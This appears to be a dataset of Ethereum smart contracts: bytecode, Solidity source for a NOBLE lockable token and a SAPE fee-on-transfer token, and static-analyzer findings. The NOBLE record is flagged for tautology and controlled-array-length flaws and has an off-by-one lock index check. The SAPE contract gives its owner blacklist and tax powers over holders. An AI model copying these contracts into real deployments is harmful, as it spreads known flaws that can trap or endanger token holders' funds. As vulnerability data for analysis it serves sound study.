612b7f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515612b8d57fe5b818303905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612be757600080fd5b612c38826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8f82600154612b7f90919063ffffffff16565b6001819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008183019050828110151515612d6657fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612dac57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612df957600080fd5b612e4a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612edd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820907517632ce0054547a40099aa4bdb503d0c881b03fe19156dd5971be38d28840029
|
{"success": true, "error": null, "results": {}}
| 4,431 |
0x82535c91fe4b129c409e16a0eee052292646dace
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title NOBLE token
**/
contract NOBLE is StandardBurnableToken, PausableToken {
using SafeMath for uint256;
string public constant name = "NOBLE TOKEN TEST";
string public constant symbol = "NOBLE";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1e9 * (10 ** uint256(decimals));
uint constant LOCK_TOKEN_COUNT = 1000;
struct LockedUserInfo{
uint256 _releaseTime;
uint256 _amount;
}
mapping(address => LockedUserInfo[]) private lockedUserEntity;
mapping(address => bool) private supervisorEntity;
mapping(address => bool) private lockedWalletEntity;
modifier onlySupervisor() {
require(owner == msg.sender || supervisorEntity[msg.sender]);
_;
}
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
event PrintLog(
address indexed sender,
string _logName,
uint256 _value
);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
require(!isLockedWalletEntity(msg.sender));
require(msg.sender != to,"Check your address!!");
if (lockedUserEntity[msg.sender].length > 0 ) {
_autoUnlock(msg.sender);
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(!isLockedWalletEntity(from) && !isLockedWalletEntity(msg.sender));
if (lockedUserEntity[from].length > 0) {
_autoUnlock(from);
}
return super.transferFrom(from, to, value);
}
function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlySupervisor whenNotPaused returns (bool) {
require(releaseTime > now && value > 0, "Check your values!!;");
if(lockedUserEntity[holder].length >= LOCK_TOKEN_COUNT){
return false;
}
transfer(holder, value);
_lock(holder,value,releaseTime);
return true;
}
function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) {
balances[holder] = balances[holder].sub(value);
lockedUserEntity[holder].push( LockedUserInfo(releaseTime, value) );
emit Lock(holder, value, releaseTime);
return true;
}
function _unlock(address holder, uint256 idx) internal returns(bool) {
LockedUserInfo storage lockedUserInfo = lockedUserEntity[holder][idx];
uint256 releaseAmount = lockedUserInfo._amount;
delete lockedUserEntity[holder][idx];
lockedUserEntity[holder][idx] = lockedUserEntity[holder][lockedUserEntity[holder].length.sub(1)];
lockedUserEntity[holder].length -=1;
emit Unlock(holder, releaseAmount);
balances[holder] = balances[holder].add(releaseAmount);
return true;
}
function _autoUnlock(address holder) internal returns(bool) {
for(uint256 idx =0; idx < lockedUserEntity[holder].length ; idx++ ) {
if (lockedUserEntity[holder][idx]._releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if( _unlock(holder, idx) ) {
idx -=1;
}
}
}
return true;
}
function setLockTime(address holder, uint idx, uint256 releaseTime) onlySupervisor public returns(bool){
require(holder !=address(0) && idx >= 0 && releaseTime > now);
require(lockedUserEntity[holder].length >= idx);
lockedUserEntity[holder][idx]._releaseTime = releaseTime;
return true;
}
function getLockedUserInfo(address _address) view public returns (uint256[], uint256[]){
require(msg.sender == _address || msg.sender == owner || supervisorEntity[msg.sender]);
uint256[] memory _returnAmount = new uint256[](lockedUserEntity[_address].length);
uint256[] memory _returnReleaseTime = new uint256[](lockedUserEntity[_address].length);
for(uint i = 0; i < lockedUserEntity[_address].length; i ++){
_returnAmount[i] = lockedUserEntity[_address][i]._amount;
_returnReleaseTime[i] = lockedUserEntity[_address][i]._releaseTime;
}
return (_returnAmount, _returnReleaseTime);
}
function burn(uint256 _value) onlySupervisor public {
super._burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) onlySupervisor public {
super.burnFrom(_from, _value);
}
function balanceOf(address owner) public view returns (uint256) {
uint256 totalBalance = super.balanceOf(owner);
if( lockedUserEntity[owner].length >0 ){
for(uint i=0; i<lockedUserEntity[owner].length;i++){
totalBalance = totalBalance.add(lockedUserEntity[owner][i]._amount);
}
}
return totalBalance;
}
function setSupervisor(address _address) onlyOwner public returns (bool){
require(_address !=address(0) && !supervisorEntity[_address]);
supervisorEntity[_address] = true;
emit PrintLog(_address, "isSupervisor", 1);
return true;
}
function removeSupervisor(address _address) onlyOwner public returns (bool){
require(_address !=address(0) && supervisorEntity[_address]);
delete supervisorEntity[_address];
emit PrintLog(_address, "isSupervisor", 0);
return true;
}
function setLockedWalletEntity(address _address) onlySupervisor public returns (bool){
require(_address !=address(0) && !lockedWalletEntity[_address]);
lockedWalletEntity[_address] = true;
emit PrintLog(_address, "isLockedWalletEntity", 1);
return true;
}
function removeLockedWalletEntity(address _address) onlySupervisor public returns (bool){
require(_address !=address(0) && lockedWalletEntity[_address]);
delete lockedWalletEntity[_address];
emit PrintLog(_address, "isLockedWalletEntity", 0);
return true;
}
function isSupervisor(address _address) view onlyOwner public returns (bool){
return supervisorEntity[_address];
}
function isLockedWalletEntity(address _from) view private returns (bool){
return lockedWalletEntity[_from];
}
}
|
0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610087578063a9059cbb146100de575b600080fd5b34801561006857600080fd5b50610071610143565b6040518082815260200191505060405180910390f35b34801561009357600080fd5b506100c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061014d565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b50610129600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610195565b604051808215151515815260200191505060405180910390f35b6000600154905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101d257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561021f57600080fd5b610270826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610303826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103cd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156103c257fe5b818303905092915050565b60008082840190508381101515156103e157fe5b80915050929150505600a165627a7a72305820f3f1c54b285108d12c73f1a491eafd33c371630b156f31028a0758a7c7bb415b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,432 |
0x781e5e2c677472afbe35ce1198358cb450e044c2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: UNLICENSED
//https://t.me/skullapeportal
// The awesome Skull Apes was originally an ordinary APE deliberated by Caesar's army. Having become a confidant of Caesar during the war between human race and Ape, Skull Apes gained ambitions to become the superior Ape, leading it to test the version of the Ape’s Super skull soldier on itself, resulting with him becoming hideously disfigured as well as gaining the name of Skull Apes.
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "SKULL APE";
string private constant _symbol = "SAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x4A3c1658481DBa8683f396A8460035350Aec72F2);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/2;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610345578063c3c8cd8014610365578063c9567bf91461037a578063dbe8272c1461038f578063dc1052e2146103af578063dd62ed3e146103cf57600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610310578063a9059cbb1461032557600080fd5b8063273123b7116100f2578063273123b714610215578063313ce5671461023557806346df33b7146102515780636fc3eaec1461027157806370a082311461028657600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d357806323b872dd146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268534b554c4c2041504560b81b60208201525b6040516101759190611949565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046117d0565b610415565b6040519015158152602001610175565b3480156101ba57600080fd5b50678ac7230489e800005b604051908152602001610175565b3480156101df57600080fd5b506101f36101ee366004611902565b61042c565b005b34801561020157600080fd5b5061019e61021036600461178f565b610478565b34801561022157600080fd5b506101f361023036600461171c565b6104e1565b34801561024157600080fd5b506040516009